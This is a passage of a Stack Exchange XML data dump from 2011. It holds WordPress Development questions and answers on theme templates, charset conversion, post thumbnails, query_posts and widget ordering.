  <row Id="27089" PostTypeId="1" CreationDate="2011-08-27T23:43:31.947" Score="-2" ViewCount="40" Body="&lt;p&gt;I want to add some balloons to the site. You can inspect them in here: &lt;a href=&quot;http://bellated.us.lt/&quot; rel=&quot;nofollow&quot;&gt;http://bellated.us.lt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want them to start from the bottom of the page. Now its added to the header.php. Tired to add to index.php, footer.php, but it seems like its not working also. Any suggestions? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8196" LastActivityDate="2011-08-28T03:04:28.047" Title="Where to add my html to display correctly?" Tags="&lt;css&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="27090" PostTypeId="2" ParentId="27089" CreationDate="2011-08-28T00:07:07.987" Score="0" ViewCount="" Body="&lt;p&gt;Your probably need to apply the balloons animation to a larger div that wraps the full content of the page.&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-08-28T00:07:07.987" CommentCount="3" />
  <row Id="27091" PostTypeId="2" ParentId="27052" CreationDate="2011-08-28T00:36:16.697" Score="1" ViewCount="" Body="&lt;p&gt;When one creates a WordPress site by default, or via the Fantastico tool in cPanel, it may create a blog with the Latin1 charset in the MySQL database. This causes Chinese characters (and other Unicode characters) to be switched into one or more ? question mark symbols, instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix is to connect to your cPanel, connect to phpMyAdmin, find the WordPress database that applies to your particular blog (click on the wp_options table to see if it says your blog domain name), and then click the SQL tab. On the SQL tab, paste this and click Go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alter table wp_posts convert to character set utf8 collate utf8_general_ci;&#xA;alter table wp_links convert to character set utf8 collate utf8_general_ci;&#xA;alter table wp_comments convert to character set utf8 collate utf8_general_ci;&#xA;alter table wp_terms convert to character set utf8 collate utf8_general_ci;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will now let you insert Chinese characters (or any Unicode character in the UTF8 standard) and save them into your blog.&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditorDisplayName="" LastEditDate="2011-08-28T00:45:31.277" LastActivityDate="2011-08-28T00:45:31.277" />
  <row Id="27092" PostTypeId="1" CreationDate="2011-08-28T01:28:15.177" Score="0" ViewCount="24" Body="&lt;p&gt;I am trying to get it so that all of my posts display the date at the beginning of the post content, such that each post begins as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;August 28 - Lorem ipsum dolor sit amet...&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, if the code is just:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_time('F j - '); ?&amp;gt;&amp;lt;?php the_content('Read More'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then because Wordpress automatically adds p tags around the_content, it ends up displaying with a line break between the date and the rest of the content:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;August 28 - &lt;p&gt;&#xA;  Lorem ipsum dolor sit amet...&lt;/p&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want to insert the_date inside of the p tags around the_content, so there's isn't that line break. I have been looking around for possible solutions, but I haven't found anything short of removing the p tags entirely, which I don't want to do. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="8214" LastActivityDate="2011-08-28T07:26:46.713" Title="Adding the_date inside &lt;p&gt; tags around the_content" Tags="&lt;posts&gt;&lt;the-content&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27093" PostTypeId="2" ParentId="27088" CreationDate="2011-08-28T02:32:42.687" Score="0" ViewCount="" Body="&lt;p&gt;You can create a new page, using a modified template file - and send users to that page if they choose to display posts &quot;by popular&quot;&lt;/p&gt;&#xA;" OwnerUserId="8054" LastActivityDate="2011-08-28T02:32:42.687" CommentCount="1" />
  <row Id="27094" PostTypeId="2" ParentId="27089" CreationDate="2011-08-28T02:36:11.727" Score="0" ViewCount="" Body="&lt;p&gt;You could create a &lt;code&gt;&amp;lt;div id=&quot;wrapper&quot;&amp;gt;&lt;/code&gt; in the header.php file and end the div with &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; at the bottom of your footer.php and apply the animation to that div.  &lt;/p&gt;&#xA;" OwnerUserId="8054" LastEditorUserId="8054" LastEditorDisplayName="" LastEditDate="2011-08-28T03:04:28.047" LastActivityDate="2011-08-28T03:04:28.047" CommentCount="2" />
  <row Id="27095" PostTypeId="1" CreationDate="2011-08-28T03:51:41.573" Score="-1" ViewCount="11" Body="&lt;p&gt;I am a new blogger and use wordpress. I am using a free wordpress blog hosted at wordpress.com, was wondering if I can add a toolbar that always stays at the top of the page that has buttons to share a post on FB, twitter and so on.&lt;/p&gt;&#xA;" OwnerUserId="8215" LastActivityDate="2011-08-28T03:51:41.573" Title="Share on sites, add on toolbar on blog at wordpress.com" Tags="&lt;plugin-share-this&gt;" />
  <row Id="27096" PostTypeId="1" AcceptedAnswerId="27149" CreationDate="2011-08-28T05:23:16.700" Score="-2" ViewCount="79" Body="&lt;p&gt;&lt;strong&gt;* edit *&lt;/strong&gt; -  Pretty new to wordpress here and I've been working on getting post-thumbnails working using featured images...My goal is to quickly apply the featured image as a post thumbnail, regardless of which theme I am using....I've been editing the Twenty Eleven theme and it seems that the featured images only applies to the main header image, or at least any post I have added a featured image to, the image doesn't show up as a thumbnail. I did a little research and I have found some people saying that featured images in Twenty Eleven only update the main header image...I have tried a couple of plugins that didn't work with a couple of different themes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am new to WP and haven't really learned which features can easily be implemented via plugins and which require PHP editing, I have a couple of questions:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right to think that featured images work differently depending on which theme you have installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I over looking something real easy, like a popular plugin that solves this issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. - &lt;strong&gt;* end edit *&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6559" LastEditorUserId="6559" LastEditorDisplayName="" LastEditDate="2011-08-28T20:49:42.153" LastActivityDate="2011-08-28T22:17:57.687" Title="Featured images, am I missing something?" Tags="&lt;themes&gt;&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" />
  <row Id="27097" PostTypeId="1" CreationDate="2011-08-28T07:08:31.960" Score="0" ViewCount="22" Body="&lt;p&gt;I have posts (custom post type) on my site.&#xA;I would like to create an archive page showing the archived posts ordered by years.&#xA;e.g:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2010&#xA; * post 3 comes here&#xA; * post 2 comes here&#xA; * post 1 comes here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011&#xA; * post 3 comes here&#xA; * post 2 comes here&#xA; * post 1 comes here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with of course link to the post.&#xA;I thought it's simple, however I couldnt find anything simple on the web.&#xA;it also needs to be hand coded so I can style it easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will appreciate any help&#xA;Gil&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2011-08-29T21:12:12.757" Title="Order posts by years" Tags="&lt;custom-post-types&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="27098" PostTypeId="1" CreationDate="2011-08-28T07:22:51.597" Score="-1" ViewCount="17" Body="&lt;p&gt;I am using the GD Star plugin to monitor what people are rating the apps located on my site, &lt;a href=&quot;http://tablified.com&quot; rel=&quot;nofollow&quot;&gt;http://tablified.com&lt;/a&gt;. I want to place the widgets (the ones that tell me which of the apps are top rated) side by side but unfortunately I can only place the widgets on top of each other. Is there any way I can force them to be side by side. Having the widgets stacked doesn't utilize the space and it just makes the page extremely long and look ugly. I am sure that this can be done with any widget but GD Star is what I am using. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="8203" LastActivityDate="2011-08-28T07:22:51.597" Title="Place a widget side by side rather than on top of each other" Tags="&lt;plugins&gt;" />
  <row Id="27099" PostTypeId="2" ParentId="27092" CreationDate="2011-08-28T07:26:46.713" Score="0" ViewCount="" Body="&lt;p&gt;You could use the &lt;code&gt;the_content&lt;/code&gt; filter, like below (untested). The only thing is, that will add the date pretty much everywhere that your posts show up on your site, unless you add some logic to determine where it's being called from. If that's OK, give it a shot.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'add_post_date');&#xA;function add_post_date($content) {&#xA;    global $post;&#xA;    return get_the_time('F j - ', $post-&amp;gt;ID) . $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-28T07:26:46.713" CommentCount="1" />
  <row Id="27100" PostTypeId="2" ParentId="27088" CreationDate="2011-08-28T07:27:09.220" Score="0" ViewCount="" Body="&lt;p&gt;When i do this kinds of modification i always use &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt; Because its the easy way to doing it. And if i mess the child theme up i can just copy files form the main theme anytime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you never tried the child theme. This might be the right time for you. ;) Just make a child theme copy the index.php file form original theme and place it to the child theme directory and edit.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-28T07:27:09.220" CommentCount="2" />
  <row Id="27101" PostTypeId="1" CreationDate="2011-08-28T08:14:49.693" Score="-2" ViewCount="13" Body="&lt;p&gt;I have a tech blog &lt;a href=&quot;http://www.techieask.com&quot; rel=&quot;nofollow&quot;&gt;http://www.techieask.com&lt;/a&gt; and would like to integrate a QnA and a jobs section in this blog. How to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest me some suitable plugins and a method to integrate these together.&lt;/p&gt;&#xA;" OwnerUserId="8217" LastActivityDate="2011-08-28T08:14:49.693" Title="Need to integrate a jobs and question and answer section in an exiting wordpress blog" Tags="&lt;plugins&gt;&lt;questionnaire&gt;" CommentCount="1" />
  <row Id="27102" PostTypeId="1" CreationDate="2011-08-28T08:17:24.147" Score="0" ViewCount="47" Body="&lt;p&gt;I can't get &lt;code&gt;get_next_posts_link&lt;/code&gt; to work. shouldn't his code work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo  get_next_posts_link(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, I am trying to get next 5 posts, any idea how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Accroding to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php next_post_link('&amp;lt;strong&amp;gt;%link&amp;lt;/strong&amp;gt;', '%title', TRUE); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should show me a link to next post in the same category, when I do this nothing is shown. And I do have posts in the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5031" LastEditorUserId="5031" LastEditorDisplayName="" LastEditDate="2011-08-28T16:57:29.193" LastActivityDate="2011-08-28T16:57:29.193" Title="How to show link to next posts in single.php" Tags="&lt;next-post-link&gt;&lt;single&gt;&lt;next&gt;" AnswerCount="1" />
  <row Id="27103" PostTypeId="2" ParentId="27088" CreationDate="2011-08-28T08:20:42.663" Score="0" ViewCount="" Body="&lt;p&gt;Elaborating on Rachel Baker's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the index.php file and name it something like popular.php. At the very top, paste the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Posts by Popular&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, go in to the WordPress admin and create a new page, called something like &quot;By Popular&quot;. On the right-hand side, select the &quot;Posts by Popular&quot; template where it says &quot;Template&quot; (&lt;a href=&quot;http://i.imgur.com/acxG8.png&quot; rel=&quot;nofollow&quot;&gt;screenshot&lt;/a&gt;). Publish the page, and when you view it you should see your new page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a link to this page in the nav menu or wherever, and then your users will be able to access the new page.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-28T08:20:42.663" CommentCount="1" />
  <row Id="27104" PostTypeId="1" AcceptedAnswerId="27108" CreationDate="2011-08-28T08:37:50.780" Score="0" ViewCount="32" Body="&lt;p&gt;1) My site has posts, and 2 custom post types (news &amp;amp; essays)&#xA;2) They all share normal categories like sports &amp;amp; health (no custom taxanomy involved)&#xA;3) Using the generic category.php template, how do I make it so this template handles all categories while displaying all content falling under it regardless of content post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or simply, I would like the generic category.php template to handle all category displays but should include custom post types as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be a stupid question but have returned to Wordpress after a long hiatus and am finding the default wordpress themes hard to understand to do this. Just confused and frustrated right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="8216" LastActivityDate="2011-08-28T09:42:30.137" Title="How to display regular posts &amp; custom post types that fall under a category using just the generic category template?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="27105" PostTypeId="1" CreationDate="2011-08-28T08:55:52.590" Score="0" ViewCount="18" Body="&lt;p&gt;I have a gallery generated by the default wp gallery whichdisplays all my uploaded images and opens up in modal gallery, on the home page i've added  a carousel &lt;em&gt;not a plugin&lt;/em&gt; which would contain the exact same images found in the gallery, just to get it to work I've created 10 posts which all contain images in the body and am displaying the images using custom post type for the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do this, if I was doing this with simple php/mysql i would query the db and get the 10 latest images from image gallery and however with wp i'm not sure how i would do this, instead of adding each image to a custom post and displaying all the posts with the homepage-images category?&lt;/p&gt;&#xA;" OwnerUserId="4304" LastActivityDate="2011-08-28T08:55:52.590" Title="Retrieving Image Uploads [advice / best practice]" Tags="&lt;images&gt;&lt;wordpress-version&gt;&lt;3.2&gt;" CommentCount="2" />
  <row Id="27106" PostTypeId="1" AcceptedAnswerId="27112" CreationDate="2011-08-28T09:03:06.887" Score="0" ViewCount="15" Body="&lt;p&gt;The script gets the first tag of a post and retrieves in a wordpress loop all other posts with the same tag. I can't seem to get it working:(&#xA;Any ideeas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posttags = get_the_tags();&#xA;$count=0;&#xA;if ($posttags) {&#xA;  foreach($posttags as $tag) {&#xA;    $count++;&#xA;    if (1 == $count) {&#xA;      $tag = $tag-&amp;gt;name . ' ';&#xA;    }&#xA;  }&#xA;}&#xA;query_posts('tag='.$tag.''&amp;amp;'showposts=-1'); &#xA;    while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;? endwhile; &#xA;wp_reset_query(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take care&lt;/p&gt;&#xA;" OwnerUserId="2979" LastActivityDate="2011-08-28T16:28:04.413" Title="Script that gets the first tag of post and query all other posts with the same tag" Tags="&lt;query-posts&gt;&lt;tags&gt;&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="27107" PostTypeId="2" ParentId="24544" CreationDate="2011-08-28T09:10:59.383" Score="1" ViewCount="" Body="&lt;p&gt;Might want to check out comparison results at &lt;a href=&quot;http://vbtechsupport.com/606/&quot; rel=&quot;nofollow&quot;&gt;http://vbtechsupport.com/606/&lt;/a&gt; and &lt;a href=&quot;http://vbtechsupport.com/657/&quot; rel=&quot;nofollow&quot;&gt;http://vbtechsupport.com/657/&lt;/a&gt; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference would be MariaDB 5.2&lt;/p&gt;&#xA;" OwnerUserId="6702" LastActivityDate="2011-08-28T09:10:59.383" CommentCount="1" />
  <row Id="27108" PostTypeId="2" ParentId="27104" CreationDate="2011-08-28T09:15:11.947" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts()&lt;/a&gt; function - your amigo for altering the main/default query. You want to call global &lt;code&gt;$wp_query&lt;/code&gt; beforehand to alter the original query instead of replacing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should do the trick for you. Put the first four lines in your &lt;code&gt;category.php&lt;/code&gt; right before the main loop begins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Modify the default loop, include custom post types&#xA;global $wp_query;&#xA;$args = array_merge( $wp_query-&amp;gt;query, array( 'post_type' =&amp;gt; 'any' ) );&#xA;query_posts( $args );&#xA;&#xA;// The beginning of the loop looks like this:&#xA;while ( have_posts() ) : the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to be more selective in displaying your post types you can provide an array with the desired post types instead of generic &lt;code&gt;'post_type'=&amp;gt;'any'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array_merge( $wp_query-&amp;gt;query, array( 'post_type' =&amp;gt; array('post','news','essays') ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;And welcome back to the WordPress universe and WPSE community.&lt;br&gt;&#xA;I'm sure the frustration will be gone soon ;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-28T09:42:30.137" LastActivityDate="2011-08-28T09:42:30.137" CommentCount="1" />
  <row Id="27109" PostTypeId="1" CreationDate="2011-08-28T10:57:37.817" Score="0" ViewCount="15" Body="&lt;p&gt;I would like to change the order of the widgets, for instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Front-Page&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent Posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent Comments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Single Post&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent Comments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent Posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-29T04:26:17.503" Title="Changing the order of widgets according to current page?" Tags="&lt;widgets&gt;" AnswerCount="2" />
  <row Id="27110" PostTypeId="2" ParentId="27102" CreationDate="2011-08-28T11:29:51.227" Score="0" ViewCount="" Body="&lt;p&gt;Use this for a &lt;strong&gt;link to previous posts with directional arrows&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php previous_post_link(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this for a &lt;strong&gt;link to previous posts that without &quot;&lt;em&gt;&amp;lt;&amp;lt;&lt;/em&gt;&quot;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php previous_post_link('&amp;lt;strong&amp;gt;%link&amp;lt;/strong&amp;gt;'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code needs to be inside the loop.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-08-28T11:36:25.850" LastActivityDate="2011-08-28T11:36:25.850" CommentCount="4" />
  <row Id="27111" PostTypeId="1" CreationDate="2011-08-28T11:33:56.473" Score="0" ViewCount="25" Body="&lt;p&gt;I have an odd issue with get_term_by(). It's working fine when I use it inside a template, but when I use it in functions.php it just returns false.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = get_term_by('slug', 'some-term', 'some-taxonomy');&#xA;var_dump($term);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any explanation as to why this is happening would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4405" LastActivityDate="2011-08-28T16:18:23.273" Title="get_term_by not working when in functions.php" Tags="&lt;custom-taxonomy&gt;&lt;functions&gt;&lt;terms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="27112" PostTypeId="2" ParentId="27106" CreationDate="2011-08-28T11:38:22.580" Score="1" ViewCount="" Body="&lt;p&gt;the query expects the tag slug, not the tag name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tag = $tag-&amp;gt;slug . ' ';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and there is an error in the query syntax; corrected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('tag='.$tag.'&amp;amp;posts_per_page=-1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;full code rearranged:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posttags = get_the_tags(); &#xA;if ($posttags) {   &#xA;    foreach($posttags as $tag) {     &#xA;        $tag = $tag-&amp;gt;slug;  break;  &#xA;    } &#xA;query_posts('tag='.$tag.'&amp;amp;posts_per_page=-1');      &#xA;    while (have_posts()) : the_post(); ?&amp;gt; &#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile;  &#xA;    wp_reset_query();  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastEditorUserId="4884" LastEditorDisplayName="" LastEditDate="2011-08-28T16:28:04.413" LastActivityDate="2011-08-28T16:28:04.413" CommentCount="5" />
  <row Id="27113" PostTypeId="2" ParentId="27096" CreationDate="2011-08-28T11:54:19.700" Score="0" ViewCount="" Body="&lt;p&gt;I must admit to similar complaints in figuring out how to use Featured Images in my Thesis theme. Eventually, I figured it out and have gotten positive comments about my use of images liberally at &lt;a href=&quot;http://peimic.com&quot; rel=&quot;nofollow&quot;&gt;http://peimic.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the code from my custom_functions.php file can help get you going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;add_theme_support&lt;/code&gt; is needed to enable Featured Images in your Post edit screen.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;set_post_thumbnail_size&lt;/code&gt; is the default image size to use when &lt;code&gt;get_the_post_thumbnail&lt;/code&gt; or a variant of it is called without a size parameter.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;add_image_size&lt;/code&gt; gives you the ability to define sizes other than the typical WordPress small, medium, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;add_action&lt;/code&gt; is the Thesis hook being used to inject the desired featured image into my post content whether it's the single page, home or other. If you don't have hooks or filters in your theme, then call &lt;code&gt;post_thumbnail&lt;/code&gt; directly.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to include featured images in your RSS feeds, then the &lt;code&gt;prepend_content_thumbnail&lt;/code&gt; code will help you do just that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;// set to my 'large'&#xA;set_post_thumbnail_size( 590, 472, true );&#xA;// teaser is currently same size as medium, but leaving adding option in&#xA;add_image_size( 'teaser', 290, 232, true );&#xA;&#xA;&#xA;function post_thumbnail() {&#xA;    if ( ! has_post_thumbnail( get_the_ID() ) )&#xA;        return;&#xA;&#xA;    if ( is_single() ) {&#xA;        echo '&amp;lt;div class=&quot;post_thumbnail&quot;&amp;gt;';&#xA;        echo wp_get_attachment_link( get_post_thumbnail_id(), 'large', true );&#xA;        echo '&amp;lt;/div&amp;gt;';&#xA;    } else {&#xA;        // achives, category, tags, etc. listings&#xA;        echo '&amp;lt;div class=&quot;post_thumbnail&quot;&amp;gt;';&#xA;        echo '&amp;lt;a title=&quot;';&#xA;        echo get_the_title();&#xA;        echo '&quot; href=&quot;';&#xA;        echo get_permalink();&#xA;        echo '&quot;&amp;gt;';&#xA;        echo get_the_post_thumbnail( get_the_ID(), 'large' );&#xA;        echo '&amp;lt;/a&amp;gt;';&#xA;        echo '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&#xA;add_action('thesis_hook_before_post','post_thumbnail');&#xA;&#xA;&#xA;function teaser_thumbnail() {&#xA;    if ( ! has_post_thumbnail( get_the_ID() ) )&#xA;        return;&#xA;&#xA;    echo '&amp;lt;div class=&quot;teaser_thumbnail&quot;&amp;gt;';&#xA;    echo '&amp;lt;a title=&quot;';&#xA;    echo get_the_title();&#xA;    echo '&quot; href=&quot;';&#xA;    echo get_permalink();&#xA;    echo '&quot;&amp;gt;';&#xA;    echo get_the_post_thumbnail( get_the_ID(), 'teaser' );&#xA;    echo '&amp;lt;/a&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_action('thesis_hook_before_teaser_headline','teaser_thumbnail');&#xA;&#xA;&#xA;function prepend_content_thumbnail( $content ) {&#xA;    if ( ! has_post_thumbnail( get_the_ID() ) )&#xA;        return $content;&#xA;&#xA;    $thumb                      = '&amp;lt;div&amp;gt;';&#xA;    $thumb                      .= '&amp;lt;a title=&quot;';&#xA;    $thumb                      .= get_the_title();&#xA;    $thumb                      .= '&quot; href=&quot;';&#xA;    $thumb                      .= get_permalink();&#xA;    $thumb                      .= '&quot;&amp;gt;';&#xA;    $thumb                      .= get_the_post_thumbnail( get_the_ID(), 'large' );&#xA;    $thumb                      .= '&amp;lt;/a&amp;gt;';&#xA;    $thumb                      .= '&amp;lt;/div&amp;gt;';&#xA;&#xA;    return $thumb . $content;&#xA;}&#xA;&#xA;add_filter( 'the_excerpt_rss', 'prepend_content_thumbnail' );&#xA;add_filter( 'the_content_feed', 'prepend_content_thumbnail' );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8219" LastActivityDate="2011-08-28T11:54:19.700" CommentCount="2" />
  <row Id="27114" PostTypeId="2" ParentId="21282" CreationDate="2011-08-28T11:59:59.283" Score="0" ViewCount="" Body="&lt;p&gt;Did you happen to backup and restore your WordPress installation someplace other than your normal location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you happen to define &lt;code&gt;COOKIE_DOMAIN&lt;/code&gt; in wp-config.php which has a different URL than original?&lt;/p&gt;&#xA;" OwnerUserId="8219" LastActivityDate="2011-08-28T11:59:59.283" />
  <row Id="27115" PostTypeId="1" AcceptedAnswerId="27131" CreationDate="2011-08-28T12:31:06.927" Score="1" ViewCount="28" Body="&lt;p&gt;I'm developing a theme settings panel for a new wordpress theme that have an option to exclude categories from being shown in the loop. I managed to get the main functionality to work, using a mutilselect box and saving the values as array ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cats = get_categories('hide_empty=0&amp;amp;orderby=name'); ?&amp;gt;&#xA;&amp;lt;select name=&quot;&amp;lt;?php echo $option['id']; ?&amp;gt;[]&quot; id=&quot;&amp;lt;?php echo $option['id']; ?&amp;gt;&quot; multiple=&quot;multiple&quot;&amp;gt;  &#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;None (don't exclude anything)&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php foreach ($cats as $cat_list ) { ?&amp;gt;&#xA;        &amp;lt;option value=&quot;&amp;lt;?php echo $cat_list-&amp;gt;cat_ID; ?&amp;gt;&quot; &amp;lt;?php selected( $selected, $cat_list-&amp;gt;cat_ID ); ?&amp;gt;&amp;gt;&amp;lt;?php echo $cat_list-&amp;gt;cat_name; ?&amp;gt;&amp;lt;/option&amp;gt; &#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however I can't understand how check every item in &lt;code&gt;foreach()&lt;/code&gt; loop if its value matches one value in the stored values array, then apply &lt;code&gt;selected=&quot;selected&quot;&lt;/code&gt;  if it returns true to it. I understand &lt;code&gt;selected()&lt;/code&gt; wp function but don't understand how to make use of it in this case ( multiple values inside &lt;code&gt;foreach()&lt;/code&gt; loop ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated, I'm a n00b so forgive me if it's a stupid question :)&lt;/p&gt;&#xA;" OwnerUserId="8220" LastEditorUserId="8220" 